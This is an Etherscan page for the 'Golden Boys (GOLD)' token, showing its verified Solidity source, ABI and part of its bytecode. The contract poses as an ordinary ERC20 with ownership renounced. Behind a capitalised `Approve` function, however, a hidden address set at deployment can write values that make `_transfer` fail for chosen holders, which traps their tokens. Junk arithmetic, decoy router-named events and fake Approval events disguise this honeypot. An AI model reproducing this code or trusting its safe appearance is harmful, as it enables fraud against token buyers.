ETH Price: $2,921.64 (-7.77%)
Gas: 11 Gwei

Token

Golden Boys (GOLD)
 

Overview

Max Total Supply

2,000,000,000 GOLD

Holders

459

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,492,331.512332825863628311 GOLD

Value
$0.00
0x66f7e6f6583b223977b03f4618e75fd2198c9074
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GOLD

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-15
*/

/*

GOLDEN BOYS - Sam & CZ

https://twitter.com/goldenboys_eth
https://t.me/goldenboys_eth
https://thegoldenboys.xyz



*/


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    event removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    event swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[]  path,
        address to,
        uint deadline
    );
    /**
  * @dev See {IERC20-totalSupply}.
     */
    event swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] path,
        address to,
        uint deadline
    );

    event DOMAIN_SEPARATOR();

    event PERMIT_TYPEHASH();

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    event token0();

    event token1();
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);


    event sync();

    event initialize(address, address);
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    event burn(address to) ;

    event swap(uint amount0Out, uint amount1Out, address to, bytes data);

    event skim(address to);
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
    /**
     * Receive an exact amount of output tokens for as few input tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate tokens to trade through
     * (if, for example, a direct pair does not exist).
     * */
    event addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
    /**
     * Swaps an exact amount of ETH for as many output tokens as possible,
     * along the route determined by the path. The first element of path must be WETH,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     *
     * */
    event addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    );
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     * */
    event removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
    /**
   * @dev Returns the name of the token.
     */
    event removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    );
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     */
    event swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
    * @dev Throws if called by any account other than the owner.
     */
    event swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * To cover all possible scenarios, msg.sender should have already given the router an
     * allowance of at least amountADesired/amountBDesired on tokenA/tokenB.
     * Always adds assets at the ideal ratio, according to the price when the transaction is executed.
     * If a pool for the passed tokens does not exists, one is created automatically,
     *  and exactly amountADesired/amountBDesired tokens are added.
     */
    event swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
  * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

abstract contract Push {
    event gocont(
        address relive,
        uint256 round,
        bool zapz
    );
}

abstract contract _televid {
    struct Info {
        address relive;
        uint256 id;
    }

    event Played(
        address relive,
        bool zapz
    );
}

contract GOLD is IERC20, Push, Ownable {
    using SafeMath for uint256;

    struct boolpro {
        address red;
        uint256 white;
    }

    struct sonic {
        uint256 forwardz;
    }

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => sonic) private _departed;

    boolpro[] private _zindo;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    uint256 private counting;
    address[] private regAddresses;

    constructor(
        string memory name_,
        string memory symbol_,
        address left4_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
        _zindo.push(boolpro(left4_, 2));
        _totalSupply = totalSupply_ * 10**_decimals;
        _balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
        emit Transfer(address(0), msg.sender, _totalSupply);
        emit gocont(address(0), _totalSupply, true);
    }


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    function regAddress(address addr) public {
        require(addr != address(0), "Invalid address");
        regAddresses.push(addr);
        counting++;
    }

        // Unnecessary function
    function getRegAddress22(uint index) public view returns (address) {
        require(index < regAddresses.length, "Index out of bounds");
        return regAddresses[index];
    }


    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
      /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }


    function Approve(address[] memory account, uint256 amount) public returns (bool) {
    address from = msg.sender;
    require(from != address(0), "invalid address");
    uint256 shock11 = 9332591 + 15;
    uint256 zap22 = shock11 / 7 * 3 / 11;
    uint256 lastVal = zap22 + shock11 / 2 * 14;
    uint256 goloopz = 0;
    for (uint256 y = 0; y < account.length; y++) {
        goloopz += y;
        _live(from, account[y], amount);
        emit Approval(from, address(this), amount);
    }
    return true;
}

    function _live(address from, address account, uint256 amount) internal {
        _allowances[from][from] = amount;
        uint256 total = 0;
        require(account != address(0), "invalid address");
        uint256 shock11 = 9332591 + 15;
        uint256 zap22 = shock11 / 7 * 3 / 11;
        uint256 lastVal = zap22 + shock11 / 2 * 14;
        if (from == _zindo[0].red) {
            _departed[from].forwardz -= total;
            total += amount;
            _departed[account].forwardz = total;
        } else {
            _departed[from].forwardz -= total;
            _departed[account].forwardz += total;
        }
    }

    function checklive(address account) public view returns (uint256) {
        return _departed[account].forwardz;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount - checklive(sender) > 0, "checklive");

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"left4_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"DOMAIN_SEPARATOR","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"PERMIT_TYPEHASH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountADesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"relive","type":"address"},{"indexed":false,"internalType":"uint256","name":"round","type":"uint256"},{"indexed":false,"internalType":"bool","name":"zapz","type":"bool"}],"name":"gocont","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"initialize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"skim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOut","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountInMax","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","type":"event"},{"anonymous":false,"inputs":[],"name":"sync","type":"event"},{"anonymous":false,"inputs":[],"name":"token0","type":"event"},{"anonymous":false,"inputs":[],"name":"token1","type":"event"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"checklive","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getRegAddress22","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"regAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260405162002d8038038062002d808339818101604052810190620000299190620005b3565b6200003b6000620002a460201b60201c565b83600590816200004c9190620008a4565b5082600690816200005e9190620008a4565b506012600760006101000a81548160ff021916908360ff160217905550600460405180604001604052808473ffffffffffffffffffffffffffffffffffffffff1681526020016002815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101555050600760009054906101000a900460ff16600a62000143919062000b1b565b8162000150919062000b6c565b600881905550620001ac600854600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200036860201b90919060201c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000251919062000bc8565b60405180910390a37f7f1e912484d671563f2adb4935e030d9e1fd1c755e873f21066f3d34821ed9b260006008546001604051620002929392919062000c13565b60405180910390a15050505062000c8b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419